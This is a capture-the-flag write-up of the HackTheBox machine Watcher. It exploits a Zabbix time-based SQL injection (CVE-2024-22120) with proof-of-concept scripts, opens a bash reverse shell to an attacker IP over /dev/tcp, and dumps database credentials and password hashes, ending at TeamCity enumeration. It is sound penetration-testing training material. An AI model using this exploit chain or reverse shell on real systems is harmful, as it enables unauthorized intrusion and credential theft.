HTB: Watcher

Watcher starts with a Zabbix server. I’ll abuse CVE-2024-22120, a blind SQL injection to leak the admin session and get RCE. From there I’ll log in as admin and find a user logging in every minute. I’ll update the login PHP source to save the creds to a file. Those creds also work for a local instance of TeamCity, which I can log into as an admin and abuse a build pipeline to get execution as root.
Box Info
Name | Watcher ![]() Play on HackTheBox |
---|---|
Release Date | 02 Oct 2025 |
Retire Date | 02 Oct 2025 |
OS | Linux ![]() |
Base Points | Medium [30] |
![]() |
N/A (non-competitive) |
![]() |
N/A (non-competitive) |
Creators | |
Scenario | The User flag for this Box is located in a non-standard directory, /. |
Recon
Initial Scanning
nmap
finds four open TCP ports, SSH (22), HTTP (80), and two Zabbix-related ports (10050, 10051):
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.214.16
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-02 20:08 UTC
...[snip]...
Nmap scan report for 10.129.214.16
Host is up, received echo-reply ttl 63 (0.058s latency).
Scanned at 2025-10-02 20:08:32 UTC for 14s
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
10050/tcp open zabbix-agent syn-ack ttl 63
10051/tcp open zabbix-trapper syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.03 seconds
Raw packets sent: 135982 (5.983MB) | Rcvd: 78171 (3.127MB)
oxdf@hacky$ nmap -p 22,80,10050,10051 -sCV 10.129.214.16
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-02 21:18 UTC
Nmap scan report for 10.129.214.16
Host is up (0.022s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f0:e4:e7:ae:27:22:14:09:0c:fe:1a:aa:85:a8:c3:a5 (ECDSA)
|_ 256 fd:a3:b9:36:17:39:25:1d:40:6d:5a:07:97:b3:42:13 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Did not follow redirect to http://watcher.vl/
|_http-server-header: Apache/2.4.52 (Ubuntu)
10050/tcp open tcpwrapped
10051/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.21 seconds
Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 22.04 jammy LTS (or maybe 22.10).
There is a redirect to watcher.vl
on the webserver.
All of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.
Subdomain Brute Force
Given the use of some kind of host-based routing on the webserver, I’ll use ffuf
to brute force for any subdomains of watcher.vl
that respond differently than the default case:
oxdf@hacky$ ffuf -u http://10.129.214.16 -H "Host: FUZZ.watcher.vl" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.214.16
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.watcher.vl
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
zabbix [Status: 200, Size: 3946, Words: 199, Lines: 33, Duration: 162ms]
:: Progress: [19966/19966] :: Job [1/1] :: 1408 req/sec :: Duration: [0:00:14] :: Errors: 0 ::
It finds one! I’ll add both to my /etc/hosts
file:
10.129.214.16 watcher.vl zabbix.watcher.vl
watcher.vl - TCP 80
Site
The site is for an uptime monitoring company:

All three button pop up a form:

Submitting the form just sends a GET request to /
with the parameters in the URL, and the page loads without any indication that the request was actually processed.
Tech Stack
The HTTP response headers don’t show anything else too interesting:
HTTP/1.1 200 OK
Date: Thu, 02 Oct 2025 21:24:18 GMT
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Tue, 16 Jul 2024 17:12:12 GMT
ETag: "137f-61d60724d6a62-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 4991
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
The main page loads as index.html
, suggesting a static site (and making it even more likely that the form was not actually processed).
The 404 page is just the default Apache 404:

Directory Brute Force
I’ll run feroxbuster
against the site, and include -x html
as the site uses static pages:
oxdf@hacky$ feroxbuster -u http://watcher.vl -x html
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://watcher.vl
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
💲 Extensions │ [html]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 9l 28w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 31w 272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 157l 389w 4991c http://watcher.vl/
200 GET 157l 389w 4991c http://watcher.vl/index.html
[####################] - 32s 30000/30000 0s found:2 errors:0
[####################] - 31s 30000/30000 957/s http://watcher.vl/
Nothing.
zabbit.watcher.vl - TCP 80
Site
The site loads a Zabbix login page:

As I don’t have creds, I’ll use the “sign in as guest” option, which leads to a dashboard:
Tech Stack
This is clearly Zabbix, the opensource monitoring platform. The page footer once past the login screen shows the version:

The HTTP response headers set the zbx_session
cookie, which is standard for Zabbix:
HTTP/1.1 200 OK
Date: Thu, 02 Oct 2025 21:30:46 GMT
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Set-Cookie: zbx_session=eyJzZXNzaW9uaWQiOiJlNWZlZWRlZTc1ZDI4MTQwM2JmYzBhZmMzNjgzMDYxZiIsInNpZ24iOiI4Mjc1NTgwMjg2Y2JhYzY3YmU4NjJlMzQ0ZGE3YTk5NjljYzE2ZjAwNzA2YTUzZmNkYmU1Y2Q1MzhhNDZhNTM0In0%3D; HttpOnly
Vary: Accept-Encoding
Content-Length: 3946
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
The 404 page is still the default Apache 404:

I’ll save the directory brute force since this is well know software.
Shell as zabbix
CVE-2024-42327
Identify
Searching for vulnerabilities in this version of Zabbix turns up several references to CVE-2024-42327, as well as CVE-2024-22116:

CVE-2024-22116 is RCE, but only as an administrator, even with restricted permissions.
CVE-2024-42327 is an SQL injection vulnerability that can leak the admin API token, which can lead to RCE. I showed this exact path on Unrested. This only works for a login that gets an API token, which the guest access does not.
A bit more digging finds CVE-2024-22120, another SQL injection in the audit log:
Zabbix server can perform command execution for configured scripts. After command is executed, audit entry is added to “Audit Log”. Due to “clientip” field is not sanitized, it is possible to injection SQL into “clientip” and exploit time based blind SQL injection.
This has potential here. The Zabbix ticket for this vuln specifically calls out that it can lead to RCE, that 7.0.0alpha1 is vulnerable, and gives the steps to exploit.
POC
The first step is to make sure I have access to at least one host. Under Monitoring –> Hosts there’s one entry:

I need to be able to run a command on it. Clicking pops a menu:

“Ping” works (and shows it’s the same host running Zabbix):

I need to get the “sessionid” from the zbx_session
cookie. It’s just base64-encoded:
oxdf@hacky$ echo eyJzZXNzaW9uaWQiOiI1MmU5NjcyZDM3NTM2YTM3MDBmNDcwY2Q4NmUxNmM1NiIsInNlcnZlckNoZWNrUmVzdWx0Ijp0cnVlLCJzZXJ2ZXJDaGVja1RpbWUiOjE3NTk1NzQ1MzksInNpZ24iOiIwOTJjZDc2ODJiNDIyNWM2MTEwZTIyZDRlYjE0NWFkZDgyNTc4Mzk3MTM4MDE3ZWE5ZWU2NjRkZjg3Y2I4OTllIn0= | base64 -d
{"sessionid":"52e9672d37536a3700f470cd86e16c56","serverCheckResult":true,"serverCheckTime":1759574539,"sign":"092cd7682b4225c6110e22d4eb145add82578397138017ea9ee664df87cb899e"}
Finally, I need a valid hostid
, which I can get from looking in Burp while on the Monitoring –> Hosts page, as the site is constantly sending refresh requests:

I’ll download the script from the article, and use uv
to add the metadata showing the need for pwntools (see the uv cheatsheet):
oxdf@hacky$ uv add --script zabbix_server_time_based_blind_sqli.py pwntools
Updated `zabbix_server_time_based_blind_sqli.py`
This script will fail, just quickly showing an admin session id of all 0. If I watch this in WireShark, I’ll see this:

It’s using scriptid
of 3, but this user can’t run that script. If I look at the request that is sent when I click a host to get that menu, I’ll see the response:

There are only ids 1 and 2. I’ll update that in the POC to either of those, and it works:
oxdf@hacky$ uv run --script zabbix_server_time_based_blind_sqli.py --ip zabbix.watcher.vl --sid 52e9672d37536a3700f470cd86e16c56 --hostid 10084 | grep "(+)"
(+) Extracting Zabbix config session key...
(+) trying c=0[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=1[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=2[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=3[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=4[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=5[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=6[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=7[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=8[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=9[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=a[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=b[x] Opening connection to zabbix.watcher.vl on port 10051
(+) session_key=b
(+) trying c=0[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=1[x] Opening connection to zabbix.watcher.vl on port 10051
...[snip]...
(+) trying c=9[x] Opening connection to zabbix.watcher.vl on port 10051
(+) session_key=b9
...[snip]...
(+) trying c=b[x] Opening connection to zabbix.watcher.vl on port 10051
(+) session_key=b9857bc76e26cf108766043dbf43544b
(+) config session_key=b9857bc76e26cf108766043dbf43544b
(+) Extracting admin session_id...
(+) trying c=0[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=1[x] Opening connection to zabbix.watcher.vl on port 10051
...[snip]...
(+) trying c=c[x] Opening connection to zabbix.watcher.vl on port 10051
(+) trying c=d[x] Opening connection to zabbix.watcher.vl on port 10051
(+) session_id=e29cc8d946f1a3135fe7ceec60d0ff0d
(+) admin session_id=e29cc8d946f1a3135fe7ceec60d0ff0d
(+) session_key=b9857bc76e26cf108766043dbf43544b, admin session_id=e29cc8d946f1a3135fe7ceec60d0ff0d. Now you can generate admin zbx_cookie and sign it with session_key
It’s very slow, but it recovers the key.
RCE
There’s another POC out there that will do the same brute force, but then turn it into RCE. This script takes requests
and pwntools
, and then gives a shell:
oxdf@hacky$ uv run --script CVE-2024-22120-RCE.py --ip zabbix.watcher.vl --sid 52e9672d37536a3700f470cd86e16c56 --hostid 10084
Installed 29 packages in 187ms
(!) sessionid=e29cc8d946f1a3135fe7ceec60d0ff0d1a3135fe7ceec60d0ff0d
[zabbix_cmd]>>: id
uid=115(zabbix) gid=122(zabbix) groups=122(zabbix)
I added a bit to main so that I didn’t have to do that full brute force again:
parser.add_argument("--admin-sid", help="Admin session id already recovered")
args = parser.parse_args()
if args.admin_sid:
admin_sessionid = args.admin_sid
else:
admin_sessionid = ExtractAdminSessionId(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
RceExploit(args.ip, args.hostid, admin_sessionid,args.prefix)
oxdf@hacky$ uv run --script CVE-2024-22120-RCE/CVE-2024-22120-RCE.py --ip zabbix.watcher.vl --hostid 10084 --admin-sid e29cc8d946f1a3135fe7ceec60d0ff0d
[zabbix_cmd]>>: id
uid=115(zabbix) gid=122(zabbix) groups=122(zabbix)
Shell
To get a real shell, I’ll give this script a bash reverse shell:
[zabbix_cmd]>>: bash -c 'bash -i >& /dev/tcp/10.10.15.1/443 0>&1'
This hangs, but at nc
:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.214.16 58272
bash: cannot set terminal process group (7180): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@watcher:/$
I’ll upgrade my shell using the standard trick:
zabbix@watcher:/$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
zabbix@watcher:/$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
zabbix@watcher:/$
And grab user.txt
from /
:
zabbix@watcher:/$ cat user.txt
380b4ab4************************
Shell as root
Enumeration
Users
There is one user, ubuntu, with a home directory in /home
:
zabbix@watcher:/home$ ls
ubuntu
zabbix@watcher:/home$ ls ubuntu/
ls: cannot open directory 'ubuntu/': Permission denied
That matches users with shells set in passwd
:
zabbix@watcher:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
Web Servers
The Apache config shows three servers:
zabbix@watcher:/etc/apache2/sites-enabled$ ls
000-default.conf watcher.vl.conf zabbix.watcher.vl.conf
These handle the rewrite to watcher.vl
, and getting Zabbix to it’s site. The main site is in /var/www/html
, and it’s just a single HTML page:
zabbix@watcher:/var/www/html$ ls
index.html
Zabbix DB
I’ll find the Zabbix config in /usr/share/zabbix/conf
:
zabbix@watcher:/usr/share/zabbix/conf$ cat zabbix.conf.php
<?php
// Zabbix GUI configuration file.
$DB['TYPE'] = 'MYSQL';
$DB['SERVER'] = 'localhost';
$DB['PORT'] = '0';
$DB['DATABASE'] = 'zabbix';
$DB['USER'] = 'zabbix';
$DB['PASSWORD'] = 'uIy@YyshSuyW%0_puSqA';
// Schema name. Used for PostgreSQL.
$DB['SCHEMA'] = '';
// Used for TLS connection.
$DB['ENCRYPTION'] = false;
$DB['KEY_FILE'] = '';
$DB['CERT_FILE'] = '';
$DB['CA_FILE'] = '';
$DB['VERIFY_HOST'] = false;
$DB['CIPHER_LIST'] = '';
// Vault configuration. Used if database credentials are stored in Vault secrets manager.
$DB['VAULT'] = '';
$DB['VAULT_URL'] = '';
$DB['VAULT_DB_PATH'] = '';
$DB['VAULT_TOKEN'] = '';
$DB['VAULT_CERT_FILE'] = '';
$DB['VAULT_KEY_FILE'] = '';
// Uncomment to bypass local caching of credentials.
// $DB['VAULT_CACHE'] = true;
// Uncomment and set to desired values to override Zabbix hostname/IP and port.
// $ZBX_SERVER = '';
// $ZBX_SERVER_PORT = '';
$ZBX_SERVER_NAME = 'Watcher';
$IMAGE_FORMAT_DEFAULT = IMAGE_FORMAT_PNG;
// Uncomment this block only if you are using Elasticsearch.
// Elasticsearch url (can be string if same url is used for all types).
//$HISTORY['url'] = [
// 'uint' => 'http://localhost:9200',
// 'text' => 'http://localhost:9200'
//];
// Value types stored in Elasticsearch.
//$HISTORY['types'] = ['uint', 'text'];
// Used for SAML authentication.
// Uncomment to override the default paths to SP private key, SP and IdP X.509 certificates, and to set extra settings.
//$SSO['SP_KEY'] = 'conf/certs/sp.key';
//$SSO['SP_CERT'] = 'conf/certs/sp.crt';
//$SSO['IDP_CERT'] = 'conf/certs/idp.crt';
//$SSO['SETTINGS'] = [];
That has the DB connection info. I’ll connect:
zabbix@watcher:/usr/share/zabbix/conf$ mysql -h localhost -u zabbix -puIy@YyshSuyW%0_puSqA
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 3339
Server version: 8.0.43-0ubuntu0.22.04.2 (Ubuntu)
Copyright (c) 2000, 2025, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| performance_schema |
| zabbix |
+--------------------+
3 rows in set (0.02 sec
There are a ton of tables in zabbix
. I’ll get the users:
mysql> select * from users;
+--------+----------+--------+---------------+--------------------------------------------------------------+-----+-----------+------------+---------+---------+---------+----------------+------------+---------------+---------------+----------+--------+-----------------+----------------+
| userid | username | name | surname | passwd | url | autologin | autologout | lang | refresh | theme | attempt_failed | attempt_ip | attempt_clock | rows_per_page | timezone | roleid | userdirectoryid | ts_provisioned |
+--------+----------+--------+---------------+--------------------------------------------------------------+-----+-----------+------------+---------+---------+---------+----------------+------------+---------------+---------------+----------+--------+-----------------+----------------+
| 1 | Admin | Zabbix | Administrator | $2y$10$E9fSsSLiu47a1gnTULjx9.YygFRbVotGx4BOIVRTLdEa5OGAxeX5i | | 1 | 0 | default | 30s | default | 0 | | 0 | 50 | default | 3 | NULL | 0 |
| 2 | guest | | | $2y$10$89otZrRNmde97rIyzclecuk6LwKAsHN0BcvoOKGjbT.BwMBfm7G06 | | 0 | 15m | default | 30s | default | 0 | | 0 | 50 | default | 4 | NULL | 0 |
| 3 | Frank | Frank | | $2y$10$9WT5xXnxSfuFWHf5iJc.yeeHXbGkrU0S/M2LagY.8XRX7EZmh.kbS | | 0 | 0 | default | 30s | default | 0 | | 0 | 50 | default | 2 | NULL | 0 |
+--------+----------+--------+---------------+--------------------------------------------------------------+-----+-----------+------------+---------+---------+---------+----------------+------------+---------------+---------------+----------+--------+-----------------+----------------+
3 rows in set (0.00 sec)
I can dump these hashes to hashcat
, but they don’t crack with rockyou.txt
.
TeamCity
The netstat
shows an interesting port:
zabbix@watcher:/$ ss -tnlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 0.0.0.0:10050 0.0.0.0:* users:(("zabbix_agentd",pid=678,fd=4),("zabbix_agentd",pid=677,fd=4),("zabbix_agentd",pid=674,fd=4),("zabbix_agentd",pid=673,fd=4),("zabbix_agentd",pid=672,fd=4),("zabbix_agentd",pid=666,fd=4))
LISTEN 0 4096 0.0.0.0:10051 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 50 [::ffff:127.0.0.1]:9090 *:*
LISTEN 0 50 *:42187 *:*
LISTEN 0 50 [::ffff:127.0.0.1]:52755 *:*
LISTEN 0 100 [::ffff:127.0.0.1]:8111 *:*
LISTEN 0 1 [::ffff:127.0.0.1]:8105 *:*
LISTEN 0 128 [::]:22 [::]:*
10050 and 10051 are Zabbix. But 9090, 8111, and 8015 are localhost only and interesting. Checking them out, 8111 is Team City:
zabbix@watcher:/$ curl -v localhost:8111
* Trying 127.0.0.1:8111...
* Connected to localhost (127.0.0.1) port 8111 (#0)
> GET / HTTP/1.1
> Host: localhost:8111
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 401
< TeamCity-Node-Id: MAIN_SERVER
< WWW-Authenticate: Basic realm="TeamCity"
< WWW-Authenticate: Bearer realm="TeamCity"
< X-Content-Type-Options: nosniff
< Content-Type: text/plain;charset=UTF-8
< Transfer-Encoding: chunked
< Date: Sat, 04 Oct 2025 12:05:08 GMT
<
Authentication required
* Connection #0 to host localhost left intact
To login manually go to "/login.html" page
There’s also TeamCity processes running:
zabbix@watcher:/$ ps auxww | grep -i teamcity
root 669 0.0 0.0 2892 1664 ? S 10:37 0:00 sh teamcity-server.sh _start_internal
root 690 0.0 0.0 3016 1920 ? S 10:37 0:00 sh /root/TeamCity/bin/teamcity-server-restarter.sh run
root 1234 11.4 35.8 5411476 1438352 ? Sl 10:37 70:46 /usr/lib/jvm/java-1.11.0-openjdk-amd64/bin/java -Djava.util.logging.config.file=/root/TeamCity/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -server -Xmx2g -Dteamcity.configuration.path=../conf/teamcity-startup.properties -Dlog4j2.configurationFile=file:/root/TeamCity/bin/../conf/teamcity-server-log4j.xml -Dteamcity_logs=/root/TeamCity/bin/../logs -Djava.awt.headless=true -Dignore.endorsed.dirs= -classpath /root/TeamCity/bin/bootstrap.jar:/root/TeamCity/bin/tomcat-juli.jar -Dcatalina.base=/root/TeamCity -Dcatalina.home=/root/TeamCity -Djava.io.tmpdir=/root/TeamCity/temp org.apache.catalina.startup.Bootstrap start
root 1597 0.1 1.8 2596644 75180 ? Sl 10:37 0:43 /usr/lib/jvm/java-1.11.0-openjdk-amd64/bin/java -ea -Xms16m -Xmx64m -cp ../launcher/lib/launcher.jar jetbrains.buildServer.agent.Launcher -ea -XX:+DisableAttachMechanism --add-opens=java.base/java.lang=ALL-UNNAMED -XX:+IgnoreUnrecognizedVMOptions -Xmx384m -Dteamcity_logs=../logs/ -Dlog4j2.configurationFile=file:../conf/teamcity-agent-log4j2.xml jetbrains.buildServer.agent.AgentMain -file ../conf/buildAgent.properties
root 1646 0.3 7.3 2993272 295828 ? Sl 10:38 2:25 /usr/lib/jvm/java-11-openjdk-amd64/bin/java -ea -XX:+DisableAttachMechanism --add-opens=java.base/java.lang=ALL-UNNAMED -XX:+IgnoreUnrecognizedVMOptions -Xmx384m -Dteamcity_logs=../logs/ -Dlog4j2.configurationFile=file:../conf/teamcity-agent-log4j2.xml -classpath /root/TeamCity/buildAgent/lib/agent-core.jar:/root/TeamCity/buildAgent/lib/joda-time.jar:/root/TeamCity/buildAgent/lib/jackson-annotations.jar:/root/TeamCity/buildAgent/lib/common-graph.jar:/root/TeamCity/buildAgent/lib/xml-rpc-wrapper.jar:/root/TeamCity/buildAgent/lib/ehcache-core.jar:/root/TeamCity/buildAgent/lib/common-tools.jar:/root/TeamCity/buildAgent/lib/kotlin-stdlib.jar:/root/TeamCity/buildAgent/lib/spring-context.jar:/root/TeamCity/buildAgent/lib/messages.jar:/root/TeamCity/buildAgent/lib/jaxen.jar:/root/TeamCity/buildAgent/lib/xml-apis.jar:/root/TeamCity/buildAgent/lib/platform-specific.jar:/root/TeamCity/buildAgent/lib/launcher.jar:/root/TeamCity/buildAgent/lib/connections-api-common.jar:/root/TeamCity/buildAgent/lib/logging.jar:/root/TeamCity/buildAgent/lib/jackson-module-parameter-names.jar:/root/TeamCity/buildAgent/lib/common-jackson.jar:/root/TeamCity/buildAgent/lib/httpclient.jar:/root/TeamCity/buildAgent/lib/commons-codec.jar:/root/TeamCity/buildAgent/lib/app-wrapper.jar:/root/TeamCity/buildAgent/lib/net.sf.trove4j.trove4j.jar:/root/TeamCity/buildAgent/lib/agent-upgrade.jar:/root/TeamCity/buildAgent/lib/commons-logging.jar:/root/TeamCity/buildAgent/lib/log4j-api.jar:/root/TeamCity/buildAgent/lib/utils.jar:/root/TeamCity/buildAgent/lib/common-vcs.jar:/root/TeamCity/buildAgent/lib/common-config.jar:/root/TeamCity/buildAgent/lib/plugin-model-common.jar:/root/TeamCity/buildAgent/lib/annotations.jar:/root/TeamCity/buildAgent/lib/jackson-core.jar:/root/TeamCity/buildAgent/lib/server-logging.jar:/root/TeamCity/buildAgent/lib/common-spring.jar:/root/TeamCity/buildAgent/lib/coverage-report.jar:/root/TeamCity/buildAgent/lib/kotlin-stdlib-common.jar:/root/TeamCity/buildAgent/lib/agent-configurator.jar:/root/TeamCity/buildAgent/lib/commons-io.jar:/root/TeamCity/buildAgent/lib/patches-low.jar:/root/TeamCity/buildAgent/lib/inspections-util.jar:/root/TeamCity/buildAgent/lib/xstream.jar:/root/TeamCity/buildAgent/lib/jackson-dataformat-yaml.jar:/root/TeamCity/buildAgent/lib/build-version.jar:/root/TeamCity/buildAgent/lib/common-impl.jar:/root/TeamCity/buildAgent/lib/spring-instrument.jar:/root/TeamCity/buildAgent/lib/com.github.adedayo.intellij.sdk.trove4j.jar:/root/TeamCity/buildAgent/lib/cloud-shared-core.jar:/root/TeamCity/buildAgent/lib/coverage-java-agent-common.jar:/root/TeamCity/buildAgent/lib/jackson-databind.jar:/root/TeamCity/buildAgent/lib/xz.jar:/root/TeamCity/buildAgent/lib/jackson-module-jaxb-annotations.jar:/root/TeamCity/buildAgent/lib/slf4j-api.jar:/root/TeamCity/buildAgent/lib/buildAgent-updates-applying.jar:/root/TeamCity/buildAgent/lib/server-deployment-config.jar:/root/TeamCity/buildAgent/lib/idea-settings.jar:/root/TeamCity/buildAgent/lib/jackson-datatype-jdk8.jar:/root/TeamCity/buildAgent/lib/commons-httpclient.jar:/root/TeamCity/buildAgent/lib/stax2-api.jar:/root/TeamCity/buildAgent/lib/gson.jar:/root/TeamCity/buildAgent/lib/spring-jdbc.jar:/root/TeamCity/buildAgent/lib/httpcore.jar:/root/TeamCity/buildAgent/lib/jdom.jar:/root/TeamCity/buildAgent/lib/oauth-integration-agent.jar:/root/TeamCity/buildAgent/lib/spring-tx.jar:/root/TeamCity/buildAgent/lib/runtime-util.jar:/root/TeamCity/buildAgent/lib/commons-collections.jar:/root/TeamCity/buildAgent/lib/xmlpull.jar:/root/TeamCity/buildAgent/lib/jackson-datatype-jsr310.jar:/root/TeamCity/buildAgent/lib/launcher-api.jar:/root/TeamCity/buildAgent/lib/nuget-utils.jar:/root/TeamCity/buildAgent/lib/common.jar:/root/TeamCity/buildAgent/lib/patches-impl.jar:/root/TeamCity/buildAgent/lib/freemarker.jar:/root/TeamCity/buildAgent/lib/snakeyaml.jar:/root/TeamCity/buildAgent/lib/spring-expression.jar:/root/TeamCity/buildAgent/lib/spring-core.jar:/root/TeamCity/buildAgent/lib/patches.jar:/root/TeamCity/buildAgent/lib/spring-context-support.jar:/root/TeamCity/buildAgent/lib/service-utils.jar:/root/TeamCity/buildAgent/lib/jakarta.xml.bind-api.jar:/root/TeamCity/buildAgent/lib/log4j-slf4j-impl.jar:/root/TeamCity/buildAgent/lib/agentInstaller-UI.jar:/root/TeamCity/buildAgent/lib/agent-openapi.jar:/root/TeamCity/buildAgent/lib/agent-launcher.jar:/root/TeamCity/buildAgent/lib/spring-aspects.jar:/root/TeamCity/buildAgent/lib/jdk-searcher.jar:/root/TeamCity/buildAgent/lib/mxparser.jar:/root/TeamCity/buildAgent/lib/commons-compress.jar:/root/TeamCity/buildAgent/lib/xercesImpl.jar:/root/TeamCity/buildAgent/lib/agent-deployment-config.jar:/root/TeamCity/buildAgent/lib/log4j-1.2-api.jar:/root/TeamCity/buildAgent/lib/jackson-dataformat-xml.jar:/root/TeamCity/buildAgent/lib/xmlrpc.jar:/root/TeamCity/buildAgent/lib/spring-scripting/spring-scripting-bsh.jar:/root/TeamCity/buildAgent/lib/spring-scripting/spring-scripting-jruby.jar:/root/TeamCity/buildAgent/lib/spring-scripting/spring-scripting-groovy.jar:/root/TeamCity/buildAgent/lib/log4j-core.jar:/root/TeamCity/buildAgent/lib/idea-obsolete-openapi.jar:/root/TeamCity/buildAgent/lib/agent-launcher-common.jar:/root/TeamCity/buildAgent/lib/xpp3.jar:/root/TeamCity/buildAgent/lib/woodstox-core.jar:/root/TeamCity/buildAgent/lib/spring-aop.jar:/root/TeamCity/buildAgent/lib/agent-deployment.jar:/root/TeamCity/buildAgent/lib/httpmime.jar:/root/TeamCity/buildAgent/lib/common-runtime.jar:/root/TeamCity/buildAgent/lib/commons-beanutils.jar:/root/TeamCity/buildAgent/lib/duplicator-util.jar:/root/TeamCity/buildAgent/lib/agent-upgrade-common.jar:/root/TeamCity/buildAgent/lib/spring-beans.jar:/root/TeamCity/buildAgent/lib/common-step-conditions.jar:/root/TeamCity/buildAgent/lib/serviceMessages.jar jetbrains.buildServer.agent.AgentMain -file ../conf/buildAgent.properties -launcher.version 2024.03-156364
